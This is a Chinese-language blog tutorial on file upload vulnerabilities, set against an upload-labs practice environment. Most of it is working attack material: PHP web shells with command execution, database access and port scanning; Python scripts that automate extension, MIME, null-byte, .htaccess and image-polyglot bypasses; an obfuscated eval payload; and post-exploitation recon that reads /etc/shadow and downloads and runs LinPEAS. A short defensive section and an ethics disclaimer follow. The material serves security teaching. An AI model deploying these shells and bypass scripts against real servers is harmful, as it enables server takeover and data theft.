文件上传漏洞利用教程：从上传文件到Root权限的完整攻防

最新推荐文章于 2025-09-22 16:46:20 发布
原创 最新推荐文章于 2025-09-22 16:46:20 发布 · 884 阅读 · 10 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络 #安全 #系统安全 #网络安全 #web安全 #安全架构 #安全威胁分析

前言：当系统门户大开时

本文章仅提供学习，切勿将其用于不法手段！

想象一个高度安保的大楼，却有一个后门允许任何人随意进出并放置任何物品。文件上传漏洞就是这样一种安全漏洞——网站允许用户上传文件，却没有对文件内容、类型、名称进行严格检查，让攻击者能够上传恶意文件并执行任意代码。

第一部分：文件上传漏洞原理解析

1.1 什么是文件上传漏洞？

文件上传漏洞发生在Web应用程序允许用户上传文件，但未能对上传的文件进行充分验证和过滤：

// 危险的文件上传代码示例
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
// 没有检查文件类型、内容、扩展名！

1.2 为什么会产生文件上传漏洞？

漏洞的根本原因是：​过度信任用户输入​ + ​缺乏多层验证​

常见错误包括：

  • 只检查客户端验证（JavaScript）
  • 只检查文件扩展名而不检查内容
  • 允许上传到可执行目录
  • 没有重命名上传的文件

1.3 文件上传漏洞的严重性

文件上传漏洞之所以危险，是因为：

  • 直接获得Web Shell访问权限
  • 可能执行系统命令
  • 可作为内网渗透的跳板
  • 可能绕过其他安全机制

第二部分：文件上传漏洞实战利用

2.1 环境准备

使用Upload Labs靶场进行练习：

# 启动测试环境
docker run -d -p 80:80 c0ny1/upload-labs

访问 开始练习

2.2 基础文件上传检测

#!/usr/bin/env python3
import requests
import os

def test_file_upload(url, file_path):
    # 测试各种文件类型上传
    test_files = [
        ('shell.php', 'application/x-php'),
        ('shell.jpg.php', 'image/jpeg'),
        ('shell.php.jpg', 'application/x-php'),
        ('.htaccess', 'text/plain'),
        ('shell.phtml', 'application/x-httpd-php')
    ]
    
    for filename, content_type in test_files:
        with open(file_path, 'rb') as f:
            files = {'file': (filename, f, content_type)}
            response = requests.post(url, files=files)
            
            if response.status_code == 200:
                print(f"可能成功上传: {filename}")
                # 检查是否真的上传成功
                check_url = f"{url}/uploads/{filename}"
                check_response = requests.get(check_url)
                if check_response.status_code == 200:
                    print(f"确认上传成功: {filename}")
                    return filename
    
    return None

# 测试目标
target_url = "http://localhost/upload.php"
malicious_file = "shell.php"  # 包含PHP代码的文件
test_file_upload(target_url, malicious_file)

2.3 制作恶意Web Shell

创建基础的PHP Web Shell：

<?php
// 基础Web Shell - cmd.php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

// 高级Web Shell - 隐藏且功能丰富
<?php 
// 密码保护
if($_GET['pass'] !== 'secret123') {
    header('HTTP/1.0 404 Not Found');
    exit;
}

// 多功能Web Shell
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} elseif(isset($_FILES['file'])) {
    // 文件上传功能
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    echo "文件上传成功!";
}

// 数据库连接功能
if(isset($_GET['db'])) {
    $conn = mysqli_connect("localhost", "root", "", "mysql");
    $result = mysqli_query($conn, $_GET['query']);
    print_r(mysqli_fetch_all($result));
}
?>

2.4 绕过技术大全

def bypass_upload_restrictions(url):
    # 各种绕过技术尝试
    bypass_techniques = [
        # 扩展名绕过
        ('shell.php', 'application/x-php'),
        ('shell.php5', 'image/jpeg'),
        ('shell.phtml', 'text/html'),
        ('shell.php.jpg', 'image/jpeg'),
        ('shell.jpg.php', 'application/x-php'),
        
        # Content-Type绕过
        ('shell.php', 'image/jpeg'),
        ('shell.php', 'text/plain'),
        ('shell.php', 'application/octet-stream'),
        
        # 特殊字符绕过
        ('shell.php ', 'application/x-php'),  # 末尾空格
        ('shell.php.', 'application/x-php'),  # 末尾点号
        ('shell.php%00.jpg', 'image/jpeg'),  # 空字节截断
        
        # .htaccess攻击
        ('.htaccess', 'text/plain', 
         'AddType application/x-httpd-php .jpg'),
        
        # 大小写绕过
        ('shell.PHP', 'application/x-php'),
        ('shell.PhP', 'application/x-php'),
    ]
    
    for technique in bypass_techniques:
        filename = technique[0]
        content_type = technique[1]
        
        # 准备文件内容
        if filename == '.htaccess' and len(technique) > 2:
            file_content = technique[2]
        else:
            file_content = '<?php system($_GET["cmd"]); ?>'
        
        files = {'file': (filename, file_content, content_type)}
        
        try:
            response = requests.post(url, files=files)
            if response.status_code == 200:
                print(f"尝试绕过: {filename} -> {content_type}")
                
                # 验证是否上传成功
                verify_response = requests.get(f"{url}/uploads/{filename}")
                if verify_response.status_code == 200:
                    print(f"绕过成功!: {filename}")
                    return filename
        except:
            continue
    
    return None

第三部分：从Web Shell到系统权限

3.1 Web Shell的进阶利用

<?php
// 高级Web Shell - advanced_shell.php
error_reporting(0);
set_time_limit(0);

// 认证机制
$password = "secret123";
if($_GET['pass'] !== $password) {
    die("Access Denied");
}

// 命令执行
if(isset($_GET['cmd'])) {
    echo "<pre>";
    echo "命令: " . $_GET['cmd'] . "\n";
    echo "输出:\n";
    system($_GET['cmd']);
    echo "</pre>";
}

// 文件管理
if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

// 数据库连接
if(isset($_GET['db'])) {
    $conn = new mysqli("localhost", "root", "", $_GET['db']);
    if($conn->connect_error) {
        die("连接失败: " . $conn->connect_error);
    }
    $result = $conn->query($_GET['query']);
    print_r($result->fetch_all());
}

// 端口扫描
if(isset($_GET['scan'])) {
    $target = $_GET['target'];
    $ports = range(1, 1024);
    foreach($ports as $port) {
        $connection = @fsockopen($target, $port, $errno, $errstr, 1);
        if(is_resource($connection)) {
            echo "端口 {$port} 开放\n";
            fclose($connection);
        }
    }
}
?>

3.2 系统信息收集

# 通过Web Shell执行系统命令
# 基本信息收集
whoami          # 当前用户
id              # 用户信息
uname -a        # 系统信息
pwd             # 当前目录
ls -la          # 目录列表

# 网络信息
ifconfig        # 网络接口
netstat -tuln   # 监听端口
arp -a          # ARP表

# 用户和权限
cat /etc/passwd # 用户列表
cat /etc/shadow # 密码哈希（需要root）
sudo -l         # sudo权限检查

3.3 权限提升技术

# 通过Web Shell进行权限提升
def privilege_escalation(shell_url):
    # 检查系统漏洞
    commands = [
        # 内核漏洞检查
        'uname -a',
        'cat /etc/os-release',
        
        # SUID权限检查
        'find / -perm -4000 -type f 2>/dev/null',
        'find / -perm -2000 -type f 2>/dev/null',
        
        # sudo权限检查
        'sudo -l',
        
        # 计划任务检查
        'crontab -l',
        'ls -la /etc/cron*',
        
        # 环境变量检查
        'env',
        'echo $PATH'
    ]
    
    vulnerabilities = []
    
    for cmd in commands:
        response = requests.get(f"{shell_url}?cmd={cmd}&pass=secret123")
        if response.status_code == 200:
            result = response.text
            print(f"命令: {cmd}")
            print(f"结果: {result[:200]}...")  # 只显示前200字符
            
            # 分析结果寻找漏洞
            if 'sudo' in cmd and '(ALL)' in result:
                vulnerabilities.append('sudo权限漏洞')
            if 'find' in cmd and '/bin/bash' in result:
                vulnerabilities.append('SUID权限漏洞')
    
    return vulnerabilities

3.4 自动化提权脚本

#!/bin/bash
# LinPEAS - Linux权限提升自动化脚本
# 通过Web Shell下载和执行

# 下载LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

# 执行提权检查
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_report.txt

# 检查常见漏洞
./linpeas.sh -t | grep -E '(CVE|SUID|sudo)'

第四部分：高级绕过技术

4.1 文件内容绕过

def bypass_content_check(url):
    # 文件内容混淆技术
    techniques = [
        # PHP标签变种
        '<?php system($_GET["cmd"]); ?>',
        '<?= system($_GET["cmd"]); ?>',
        '<script language="php">system($_GET["cmd"]);</script>',
        
        # 编码混淆
        '<?php eval(base64_decode("c3lzdGVtKCRfR0VUWyJjbWQiXSk7")); ?>',
        
        # 图片马制作
        # 将PHP代码附加到真实图片后
        b'\xFF\xD8\xFF\xE0' + b'<?php system($_GET["cmd"]); ?>',  # JPEG
        b'\x89PNG' + b'<?php system($_GET["cmd"]); ?>',  # PNG
        
        # GIF89a幻数
        b'GIF89a<?php system($_GET["cmd"]); ?>'
    ]
    
    for i, content in enumerate(techniques):
        files = {'file': (f'shell_{i}.jpg', content, 'image/jpeg')}
        response = requests.post(url, files=files)
        
        if response.status_code == 200:
            print(f"内容绕过尝试 {i} 可能成功")
            
            # 验证文件是否可执行
            verify_url = f"{url}/uploads/shell_{i}.jpg?cmd=whoami"
            verify_response = requests.get(verify_url)
            if verify_response.status_code == 200 and 'www-data' in verify_response.text:
                print(f"内容绕过成功!: shell_{i}.jpg")
                return f"shell_{i}.jpg"
    
    return None

4.2 .htaccess攻击

def htaccess_attack(url):
    # 第一步：上传.htaccess文件
    htaccess_content = """
AddType application/x-httpd-php .jpg .png .gif
php_value auto_append_file .jpg
"""
    
    files = {'file': ('.htaccess', htaccess_content, 'text/plain')}
    response = requests.post(url, files=files)
    
    if response.status_code == 200:
        print(".htaccess上传成功")
        
        # 第二步：上传包含PHP代码的图片文件
        malicious_image = b'\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>'
        files = {'file': ('shell.jpg', malicious_image, 'image/jpeg')}
        response = requests.post(url, files=files)
        
        if response.status_code == 200:
            print("恶意图片上传成功")
            
            # 验证攻击是否成功
            test_url = f"{url}/uploads/shell.jpg?cmd=whoami"
            test_response = requests.get(test_url)
            if test_response.status_code == 200:
                print(".htaccess攻击成功!")
                return "shell.jpg"
    
    return None

第五部分：防御与深度思考

5.1 为什么文件上传漏洞持续存在？

  1. ​业务需求​：许多Web应用需要文件上传功能
  2. ​验证复杂性​：完全验证文件类型和内容很困难
  3. ​开发疏忽​：开发人员安全意识不足
  4. ​第三方组件​：使用的库或框架可能存在漏洞

5.2 彻底防御文件上传漏洞

// 安全的文件上传实现
function safe_file_upload($file) {
    // 1. 白名单验证扩展名
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($extension, $allowed_extensions)) {
        return false;
    }
    
    // 2. 验证MIME类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime_type = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime_type, $allowed_mimes)) {
        return false;
    }
    
    // 3. 文件内容验证
    if ($extension === 'jpg' || $extension === 'jpeg') {
        if (!exif_imagetype($file['tmp_name'])) {
            return false;
        }
    }
    
    // 4. 重命名文件
    $new_filename = uniqid() . '.' . $extension;
    
    // 5. 设置安全权限
    move_uploaded_file($file['tmp_name'], 'uploads/' . $new_filename);
    chmod('uploads/' . $new_filename, 0644);  # 不可执行权限
    
    return true;
}

5.3 深度防御策略

真正的安全需要多层防护：

  1. ​前端验证​：客户端基本检查（但不能依赖于此）
  2. ​后端验证​：白名单扩展名和MIME类型
  3. ​内容验证​：检查文件真实类型和内容
  4. ​重命名策略​：使用随机文件名
  5. ​安全存储​：上传文件到不可执行目录
  6. ​权限控制​：设置适当的文件权限
  7. ​WAF保护​：Web应用防火墙检测恶意文件
  8. ​定期扫描​：扫描已上传文件的安全性

第六部分：伦理思考与责任

6.1 安全研究的道德边界

  • ​授权测试​：只在获得明确授权的系统上进行测试
  • ​负责任披露​：发现漏洞后给厂商合理时间修复
  • ​教育目的​：技术知识应用于建设更安全的世界
  • ​法律意识​：了解并遵守相关法律法规

6.2 文件上传漏洞的哲学启示

文件上传漏洞教会我们几个重要道理：

  1. ​信任需要验证​：永远不要盲目信任用户输入
  2. ​深度防御​：安全需要多层次、多维度的保护
  3. ​最小权限​：只授予必要的权限
  4. ​持续监控​：安全是一个持续的过程，不是一次性的任务

结语：从攻击者到防御者的思维转变

掌握文件上传漏洞利用技术不是为了成为更好的攻击者，而是为了成为更优秀的防御者。真正的安全专家理解攻击技术，是为了能够设计出更安全的系统。

​深度思考​：在云存储和微服务架构时代，文件上传漏洞会以什么新的形式出现？如何在这种新环境下有效防御？

记住：最好的安全不是修复漏洞，而是从一开始就避免引入漏洞。

免责声明：本文所有技术内容仅用于教育目的和安全研究。未经授权的系统访问是违法行为。请始终在合法授权范围内进行安全测试。

文件上传漏洞
谢公子的博客
09-29 1万+
目录 文件上传漏洞 文件上传的过滤 上传文件过滤的绕过 上传html文件 文件上传的防御 upload-libs 文件上传漏洞 文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。 文件上传漏洞条件： 上传的文件能被Web服务器当做脚本来执行 我们能够访问到上传文件的路径 服务器上传文件命名规则： 第一...
文件上传漏洞利用
m0_61506558的博客
10-09 1712
基于靶场的练习，决定把文件上传漏洞再进行总结，整体可以分为中间件解析漏洞、CMS漏洞、编辑器漏洞、CVE漏洞和其他，由于本人水平有限，如有问题，请师傅留言，一起进步！！！（一）基本介绍不理解漏洞原理的，可以看看下面文章哈文件上传漏洞__Cyber的博客-优快云博客_常见的文件上传漏洞（二）利用思路对文件上传类型进行区分，是属于编辑器文件上传，还是属于第三方应用，还是会员中心。要确保文件上传是什么类型，就用什么类型方法对它进行后期的测试。
文件上传漏洞利用方式
Bulldozer_GD的博客
08-13 1435
此文主要讲的就是文件上传限制绕过方法，文件上传限制绕过方法有以下三种： 解析漏洞Windows下 空格 和 . 绕过%00截断 一、IIS6.0的解析漏洞 触发条件：必须是IIS6.0的环境 文件名漏洞 正常命名：as.jpg 触发漏洞的命名方式：as.asp;.jpg http://192.168.16.128/as.jpg 打开是一张正常的图片。 http://192.168.16.128/as.asp;.jpg 打开已经被解析成asp的源码了。 文件夹名漏洞 正常命名：a/as.jpg 触发解析漏洞的
从getshell到服务器控制：我拆解了6个实战案例，一文讲透文件上传漏洞是什么？如何利用这个漏洞！
最新发布
qq_41314882的博客
09-22 1142
文件上传漏洞是网络安全中危害极大的漏洞类型，攻击者通过上传恶意文件（如webshell）可直接控制服务器。文章从漏洞定义、利用技巧和防御方案三个维度展开分析： 漏洞本质源于开发者未严格校验文件类型及上传目录可执行权限，导致恶意脚本被执行； 漏洞危害分四级，从读取文件到内网渗透，典型案例显示30分钟即可攻陷核心服务器； 详细解析6种常见过滤机制的绕过方法： 前端JS过滤可通过禁用JS或抓包修改绕过； 后端黑名单可利用特殊后缀（如.php5）突破； MIME类型过滤可篡改Content-Type字段； 文件内容
文件上传漏洞利用介绍
热门推荐
星落的博客
06-05 1万+
绕过js验证 js验证代码分析 burpsuit剔除js验证 对于js前端验证，直接删除js代码之后就可以绕过js验证 绕过MIME-TYPE验证 验证MEMI-TYPE代码分析 查看源代码分析，使用$_FILE["upload_file"]["type"]获取上传文件的MIME-TYPE类型。其中upload_file是在表单中定义的。 burpsuit绕过MIME-TYPE验证 利用burpsuit工具截断http请求，在repeater重放修改MIME-TYPE类型绕过验证
从一开始的网络攻防（五）：任意文件下载/上传漏洞
Neolock的博客
07-20 781
本文介绍了Docker环境下搭建Pikachu靶场的方法，重点分析了任意文件下载和上传漏洞的原理与利用方式。文件下载漏洞通过构造恶意路径（如../../../etc/passwd）可获取敏感文件；文件上传漏洞可通过绕过客户端检测（删除JS校验函数）、服务端检测（修改MIME类型）等方式上传恶意文件。防御措施包括：设置上传目录不可执行、采用白名单校验、图片处理破坏恶意代码、随机化文件名路径等
网络攻防中利用各种漏洞和绕过Linux系统提权获取系统最高权限，多种方案详细和漏洞详细实现教程实战
代码讲故事
04-12 640
网络攻防中利用各种漏洞和绕过Linux系统提权获取系统最高权限，多种方案详细和漏洞详细实现教程实战。在渗透测试或者漏洞评估的过程中，提权是非常重要的一步，在这一步，黑客和安全研究人员常常通过exploit,bug,错误配置来提升权限。本文的例子都是在虚拟机里测试的，不同的虚拟机可以从Vulnhub下载。
网络安全攻防——webshell攻击&文件操作漏洞
优快云
05-14 2781
文章目录1、文件加载与导入load_file ()读取服务器中的文件into outfile()向服务器导入本地文件2、一句话木马(小马)+大马+webshell2.1 一句话木马2.2 大马2.3 webshell软件2.4 附：常见命令3、文件上传漏洞4、文件包含漏洞5、文件下载漏洞6、CSRF漏洞7、总结： 1、文件加载与导入 数据库中需要开启权限，在my.ini文件的mysqld中添加语句：secure_file_priv= 表示可以导入导出到任何位置。在数据中查看权限SHOW GLOBAL VAR
PHP安全漏洞深度解析：文件包含与SSRF攻击的攻防实战
九品菜鸟的博客
07-15 541
摘要： 文件包含漏洞（LFI/RFI）和SSRF攻击是Web安全中高危漏洞。文件包含漏洞利用PHP的include等函数未过滤用户输入，可导致本地/远程文件执行；SSRF则通过服务端发起未授权请求攻击内网系统。两者结合可能造成更严重后果，如内网沦陷。防御方案包括：严格输入校验、禁用危险函数、协议白名单、网络隔离和权限最小化。开发者应遵循"不信任用户输入"原则，实施多层次防护措施，并定期进行安全测试。（149字）
054 webshell介绍与文件上传漏洞
鸡蛋炒鸡蛋
03-24 7898
文章目录
常见文件上传漏洞利用
weixin_44414845的博客
12-14 4602
文件上传漏洞利用一、常见文件上传绕过方法1.javascript验证突破2.大小写突破3.服务器文件扩展名检测（不符合服务器端规定规则则不让上传）4.特殊后缀名绕过5.MIME类型6.文件内容检测7.图片马8.使用分布式配置9.文件截断10.编辑器漏洞1）ckfinder2）FCKeditor11.服务器解析漏洞1）apache解析漏洞未知后缀解析漏洞换行解析漏洞2）IIS6.0解析漏洞目录解析 ...
文件上传漏洞的利用和防御
qq_61714717的博客
12-12 4756
文件上传漏洞的学习
Web安全 文件上传漏洞的 测试和利用.（上传一个图片或文件 拿下服务器最高权限.）
网络安全领域___专研者.
03-09 6409
文件上传漏洞的 概括： 现在大多的网站和Web应用系统都会有上传功能（比如：文档，图片，头像，视频上传等.），而程序员在开发文件上传功能时，没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以上传一个与网站脚本语言相对应的恶意代码动态脚本，例如(php，jsp、aspx，asp文件后缀)到服务器上，并将恶意文件传递给网站脚本语言去执行，然后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作.
文件上传漏洞常见利用方式
qq_26680531的博客
01-18 862
需要_具备知识：web app,                     简单DOS命令，                     虚拟机（vmware）：简要配置好 http://www.2cto.com/article/201602/490414.html
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值